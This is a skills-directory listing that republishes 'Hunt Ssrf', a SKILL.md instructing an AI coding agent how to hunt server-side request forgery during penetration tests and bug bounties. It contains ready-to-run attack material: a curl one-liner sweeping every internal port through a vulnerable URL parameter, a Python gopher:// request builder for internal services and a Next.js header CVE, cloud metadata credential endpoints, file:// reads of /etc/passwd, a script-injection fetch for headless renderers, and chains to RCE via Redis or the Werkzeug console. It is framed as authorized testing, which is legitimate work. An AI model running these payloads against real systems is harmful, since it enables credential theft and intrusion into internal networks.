Agent skill

Hunt Ssrf

by Encod3d-Sec in Encod3d-Sec/TORCH

SSRF hunting - OOB-mandatory methodology. An agent skill from Encod3d-Sec/TORCH.

MITAuto-check passedSecurity

Install Hunt Ssrf

skills CLI
$ npx skills add Encod3d-Sec/TORCH --skill hunt-ssrf -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install Encod3d-Sec/TORCH hunt-ssrf --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/hunt/hunt-ssrf .claude/skills/hunt-ssrf && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
hunt-ssrf
GitHub stars
329
Token cost
~2.3k tokens
SKILL.md length
865 words
Files
1
Skills in repo
35
Repo updated
First seen
Licence
MIT

At a glance

SSRF hunting - OOB-mandatory methodology. An agent skill from Encod3d-Sec/TORCH.

  • Works in 9 steps: Map all URL-input parameters across the… → Set up OOB listener, sub-tag per sink → Send callback URL as parameter value… → …
  • Tasks that involve Web application vulnerabilities
  • SKILL.md covers Wiki, Confirmation gate, Attack Surface Signals and Once outbound is confirmed:…, plus 4 more sections
  • Calls curl and python3

What it does

Hunt Ssrf is an agent skill from Encod3d-Sec/TORCH. SSRF hunting - OOB-mandatory methodology. Cloud metadata, blind SSRF via Collaborator/interactsh, redirect-based bypass, headless browser chains. Wiki-first, FIND schema output.

Its SKILL.md is about 2.3k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.

It sits in Security, covering Web application vulnerabilities and Browser automation. The repository describes itself as: Karpathy LLM based claude harness for PenetrationTesting / Bugbounty using obsidian. The licence is MIT.

When your agent uses it

  • Tasks that involve Web application vulnerabilities
  • Tasks that involve Browser automation

Example prompts

  • “/hunt-ssrf”

Requirements

  • Python 3

Workflow steps

9 steps, taken from the first numbered list in SKILL.md.

  1. Map all URL-input parameters across the target
  2. Set up OOB listener, sub-tag per sink
  3. Send callback URL as parameter value first - confirm server makes outbound connection
  4. Test cloud metadata
  5. Internal services: sweep the FULL port range via the sink (see "ENUMERATE INTERNAL FIRST"
  6. Test redirect-based SSRF (host redirect server pointing to internal addresses)
  7. Test headless browser contexts - inject fetch(...) for PDF/screenshot endpoints
  8. Chain: SSRF -> cloud creds -> account takeover; SSRF -> Redis/memcached -> RCE
  9. Distill when confirmed (per hunt-core): reusable cloud bypass or SSRF chain, GENERIC, python3 scripts/wiki-stage.py --kind technique…

What it can do on your machine

Read from SKILL.md and the folder at commit d21b6c9. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Shell commands in SKILL.md call:

    • curl
    • python3

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    No URLs in SKILL.md. Its commands use curl, which can reach the network depending on how they are called.

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Hunt Ssrf loads about 2.3k tokens when it runs. Until then it costs about 47 tokens; SKILL.md has 865 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~47
When it runs · the whole SKILL.md, loaded when a task matches
~2.3k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from Encod3d-Sec/TORCH at commit d21b6c9, republished under its MIT licence (© Encod3d-Sec). 865 words, ~2,252 tokens.

Download SKILL.mdSave it as .claude/skills/hunt-ssrf/SKILL.md (or your agent's skills folder).
name
hunt-ssrf
description
SSRF hunting - OOB-mandatory methodology. Cloud metadata, blind SSRF via Collaborator/interactsh, redirect-based bypass, headless browser chains. Wiki-first, FIND schema output.

Hunt: SSRF

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "SSRF server-side request forgery cloud metadata" via wiki-search MCP

Hub: [[web-moc]] (live web index). Primary page: [[wiki/payloads/ssrf]]. Payload arsenal: wiki/payloads/ssrf.md. Bypass variants: [[dns-rebinding]] (hostname re-resolution TOCTOU past an allowlist), [[open-redirect]] (chain a trusted redirect to an internal target).

Confirmation gate

Blind SSRF claims require OOB confirmation. No exceptions.

NOT confirmation: URL echo in error message, different status code, delayed response alone. IS confirmation: DNS lookup or HTTP request to your unique Collaborator/interactsh subdomain.

When you plant a blind/OOB SSRF payload, append a row to targets/<eng>/oob.md: | <token> | <sink url+param> | ssrf | <date> | waiting | | (columns: token | sink | class | planted | status | source, where token = your unique Collaborator/interactsh label). The recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart surfaces HITs; a HIT row is the confirmation gate to scaffold the FIND. Do NOT claim a blind SSRF without a HIT row.

Setup OOB before testing (full channel guide: wiki oob-callbacks - DNS-vs-HTTP, self-hosted interactsh, DNS exfil):

bash
interactsh-client -v   # or use Burp Collaborator
# Tag each sink: dlsrcurl.<collab>, import.<collab>, webhook.<collab>

Attack Surface Signals

URL patterns:

?url=  ?uri=  ?src=  ?source=  ?feed=  ?host=  ?target=  ?dest=
?redirect=  ?callback=  ?image=  ?fetch=  ?load=  ?endpoint=
/api/*/preview  /api/*/fetch  /api/*/import  /api/*/webhook  /api/*/render

High-value tech: Kubernetes (internal API), GCP/AWS/Azure (metadata), headless browsers (PDF/screenshot), link-preview features, file-import pipelines.

Check SCHEME control EARLY (before grinding host/port bypasses). If the sink concatenates your input as a raw URL PREFIX with no hardcoded scheme (e.g. pycurl setopt(URL, server + '/path'), requests.get(host+path); tell: the default value has no http://, like server=host:8087), you control the scheme, not just the host -> try file:///etc/passwd and file:///<app-source> for a straight LFI, and gopher:// for internal TCP. The moment file:// reads a file, READ THE APP SOURCE FIRST - it reveals the real ports/ auth/next-steps faster than any probing, and on Flask debug=True a file-read computes the console PIN -> RCE ([[werkzeug-debug-console-rce]]). Also: pointing the sink at your own listener leaks its outbound request headers (API keys/tokens). See [[wiki/payloads/ssrf]] "Scheme-controllable SSRF -> file:// LFI".

Once outbound is confirmed: ENUMERATE INTERNAL FIRST (do not skip)

An internal-only service is the usual SSRF objective and it is invisible to your external nmap, so the SSRF is your only scanner. Before grinding cloud metadata or filter bypasses, sweep 127.0.0.1 ports THROUGH the sink and fingerprint everything that answers:

bash
export T=<target>
# non-empty / distinct body = open. Sweep the FULL range, threaded (-P 50). Under no_dos or a
# scan-rate cap in scope.md, probe the curated high-value port list in wiki/payloads/ssrf instead
# of blasting all 65535. This is service discovery, NOT object enumeration -- the hunt-core 5-20
# ceiling does not apply; the RoE cap does.
seq 1 65535 | xargs -P50 -I{} sh -c 'r=$(curl -s -m3 "http://$T/preview.php?url=http://127.0.0.1:{}/"); [ -n "$r" ] && echo "OPEN {} len=${#r}"'
  • Sweep wide. "Common ports only" misses the box: THM Extract hid its objective (a Next.js app) on internal :10000. Threaded drop-in + curated high-value ports in [[wiki/payloads/ssrf]] payloads.
  • Fingerprint each internal service and run it through playbook.json / the matching hunt skill exactly as if it were external (<title>, Server / x-powered-by, /_next/static -> Next.js -> CVE-2025-29927, /solr, /actuator, Jenkins, GitLab...). recon-capture only fingerprints EXTERNAL tool output, so an SSRF-discovered app will NOT auto-fire the playbook - you must apply it by hand. This is exactly where internal CVEs get missed.

Gopher: send what ?url= cannot

A plain ?url= fetch issues a fixed GET with no control over method/headers/cookies/body. Many internal exploits need precisely that control. gopher://host:port/_<raw-bytes> makes the sink open a raw TCP socket and send arbitrary bytes - a full HTTP request you craft:

python
import urllib.parse, subprocess
T="<target>"
def gopher(raw: bytes, port: int):                       # raw = the complete request you build
    sel=''.join('%%%02X'%b for b in raw)                 # percent-encode bytes -> gopher selector
    g='gopher://127.0.0.1:%d/_%s'%(port, sel)
    return subprocess.run(['curl','-s','-m','10',
        'http://%s/preview.php?url=%s'%(T, urllib.parse.quote(g, safe=''))],   # encode again for ?url=
        capture_output=True).stdout
req=b'GET /admin HTTP/1.1\r\nHost: 127.0.0.1\r\nx-middleware-subrequest: middleware\r\nConnection: close\r\n\r\n'

Unlocks: custom headers for header-based CVEs (Next.js CVE-2025-29927 x-middleware-subrequest), HTTP Basic auth (Authorization: Basic), POST logins, forged cookies (serialized-object / JWT swaps), and raw protocols (Redis / FastCGI / SMTP). Full send(method,path,headers,cookie,body) builder in [[wiki/payloads/ssrf]] payloads. Gopher cannot read files - it is for TCP services, not file://.

Show full SKILL.md (333 more words)Show less

Methodology

  1. Map all URL-input parameters across the target
  2. Set up OOB listener, sub-tag per sink
  3. Send callback URL as parameter value first - confirm server makes outbound connection
  4. Test cloud metadata:
bash
# AWS IMDSv1
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP (requires Metadata-Flavor: Google)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
  1. Internal services: sweep the FULL port range via the sink (see "ENUMERATE INTERNAL FIRST" above), not just these known ones:
bash
http://127.0.0.1:6443/api/v1/namespaces    # Kubernetes API
http://127.0.0.1:2379/v2/keys              # etcd
http://127.0.0.1:9200/                     # Elasticsearch
http://127.0.0.1:9090/                     # Prometheus
http://127.0.0.1:{3000,5000,8000,8080,8888,9000,10000}/   # app/admin ports - where the objective usually hides
  1. Test redirect-based SSRF (host redirect server pointing to internal addresses)
  2. Test headless browser contexts - inject <script>fetch(...) for PDF/screenshot endpoints
  3. Chain: SSRF -> cloud creds -> account takeover; SSRF -> Redis/memcached -> RCE
  4. Distill when confirmed (per hunt-core): reusable cloud bypass or SSRF chain, GENERIC, python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/ssrf.md.

Lessons (THM Extract)

  • The objective (a Next.js app) sat on internal :10000, reachable ONLY via the SSRF. A full-range internal sweep found it; a "common ports" pass did not. Sweep wide, sweep early.
  • The win was a header (x-middleware-subrequest) a ?url= GET can't set -> delivered over gopher. When a known CVE needs a specific header/method/cookie, reach for the gopher builder, not a fancier ?url= value.
  • An SSRF-reachable internal admin (localhost-only /management, Apache Require ip) is in scope: HTTP Basic auth, a POST login, and a forged serialized-object cookie (PHP O:9:"AuthToken":...{validated;b:0} -> flip to b:1 = 2FA bypass) all rode the one gopher tunnel.
  • server-status / access-log read via SSRF echoes YOUR OWN requests (gopher = 127.0.0.1, direct hits = your VPN IP). Filter your source IPs before treating a repeated request as a victim cron - a phantom "cron" here was self-induced and burned time.
  • File read stayed blocked (file:// / php:// / data:// keyword-filtered, case-insensitive) and the chain needed none. Don't grind source disclosure the chain doesn't require.

Severity

FIND output and Deadends format per hunt-core; rated on what the SSRF actually reached:

  • critical - cloud metadata credentials retrieved (IMDS role creds).
  • high - internal service access (admin panel, Redis/etcd/k8s API, an internal app).
  • medium - DNS-only OOB, no internal read.

Class deadend line: - [ ] SSRF on <host> param <param> -- zero OOB callbacks, URL echo only (server-side validation, not fetching). Exhaustion is ~38 payloads with zero callbacks.

© Encod3d-Sec, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in skills/hunt/hunt-ssrf of Encod3d-Sec/TORCH.

Open the folder on GitHubat commit d21b6c9

Compare with similar skills

Hunt Ssrf next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Hunt Ssrf compared with similar skills
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Security Auditoreigent-ai/eigent15k—~1.8kAutomated safety check: NotesApache-2.0
Security Reviewjewbetcha/opentrace11618 repos~3.1kAutomated safety check: NotesMIT
Strix Code Vulnerability Scanusestrix/strix68k—~1.1kAutomated safety check: PassApache-2.0
Code Audit3stoneBrother/code-audit8921 repos~2.7kAutomated safety check: PassNone

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Categories

Questions about Hunt Ssrf

What does Hunt Ssrf do?

SSRF hunting - OOB-mandatory methodology. An agent skill from Encod3d-Sec/TORCH. Hunt Ssrf is an agent skill from Encod3d-Sec/TORCH. SSRF hunting - OOB-mandatory methodology.

When should I use Hunt Ssrf?

Hunt Ssrf fits situations like: tasks that involve Web application vulnerabilities; tasks that involve Browser automation.

How do I install Hunt Ssrf in Claude Code?

Run `npx skills add Encod3d-Sec/TORCH --skill hunt-ssrf -a claude-code`. Or copy the skill folder (skills/hunt/hunt-ssrf in Encod3d-Sec/TORCH) into .claude/skills/hunt-ssrf in your project. Claude Code loads it when a task matches its description.

How do I install Hunt Ssrf in Codex?

Run `npx skills add Encod3d-Sec/TORCH --skill hunt-ssrf -a codex`. Or copy the skill folder (skills/hunt/hunt-ssrf in Encod3d-Sec/TORCH) into .agents/skills/hunt-ssrf in your project. Codex loads it when a task matches its description.

Can I use Hunt Ssrf in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add Encod3d-Sec/TORCH --skill hunt-ssrf -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/hunt-ssrf, .gemini/skills/hunt-ssrf, .github/skills/hunt-ssrf and .opencode/skills/hunt-ssrf in your project.

What does Hunt Ssrf need to run?

Going by SKILL.md and its folder, Hunt Ssrf needs the command-line tools its instructions call (curl and python3). Our summary lists: Python 3.

Does Hunt Ssrf access the network?

SKILL.md contains no URLs. Its commands use curl, which can reach the network depending on how they are called. This is read from the text; nothing was executed.

Is Hunt Ssrf safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does Hunt Ssrf use?

Hunt Ssrf is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Hunt Ssrf use?

About 2.3k tokens (SKILL.md is roughly 9k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Hunt Ssrf?

Skills that share tags, products or a category with Hunt Ssrf: Security And Hardening (penpot/penpot, 61k stars), Security Auditor (eigent-ai/eigent, 15k stars), Security Review (jewbetcha/opentrace, 116 stars) and Strix Code Vulnerability Scan (usestrix/strix, 68k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Hunt Ssrf?

Encod3d-Sec (a GitHub user) maintains it in Encod3d-Sec/TORCH, which has 329 GitHub stars. The repository holds 35 skills in this directory. The repository was last updated on September 1, 2026.

Source: Encod3d-Sec/TORCH on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.